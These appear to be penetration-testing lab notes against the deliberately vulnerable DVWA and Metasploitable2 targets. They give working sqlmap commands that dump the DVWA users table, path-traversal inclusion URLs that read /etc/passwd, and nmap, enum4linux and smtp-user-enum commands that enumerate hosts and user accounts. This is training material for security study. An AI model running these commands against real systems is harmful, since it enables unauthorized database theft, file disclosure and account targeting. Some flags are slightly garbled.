Esercitazione PT:

**SQL Injection:**

KALI-🡪 DVWA

1. To retrieve schemas:

sqlmap -u "http://10.10.10.5/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=cm1tb2httpj5svhm8k8vrhm384; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada**" –dbs**

1. To retrieve tables for a particular schema:

sqlmap -u "http://10.10.10.5/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=cm1tb2httpj5svhm8k8vrhm384; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada**" --tables -D dvwa**

1. To retrieve all record for a specific table:

sqlmap -u "http://10.10.10.5/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=cm1tb2httpj5svhm8k8vrhm384; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" **-T users -D dvwa –columns**

1. Get data from a table:

sqlmap -u "http://10.10.10.5/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=cm1tb2httpj5svhm8k8vrhm384; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -T users -D dvwa –dump

1. …

* Local File Inclusion:

Security low: <http://10.10.10.5/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd>

Security Medium: <http://10.10.10.5/dvwa/vulnerabilities/fi/?page=file:////etc/passwd> (it must begin with ‘file’)

**Enumeration and Exploitation:**

Metasploitable2:

Detecting live host:

nmap -sn -n 10.11.1.0/24 | grep for | cut -d" " -f5

info gathering

nmap -sV -O 192.168.0.14 -p1-65535

User enumeration from service

enum4linux -U 10.11.1.10

Now I will create a userlist of the Samba service that I will use later.

# !! | grep 'user:' | cut -d'[' -f2 | cut -d']' -f1 > userlist

Lets check if I can find some users using **smtp-user-enum.py** with the VRFY command

# smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix\_users.txt -t 10.11.1.10 > smtp\_users

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix\_users.txt -t 10.10.10.4 | grep exist | cut -d" " -f2 > users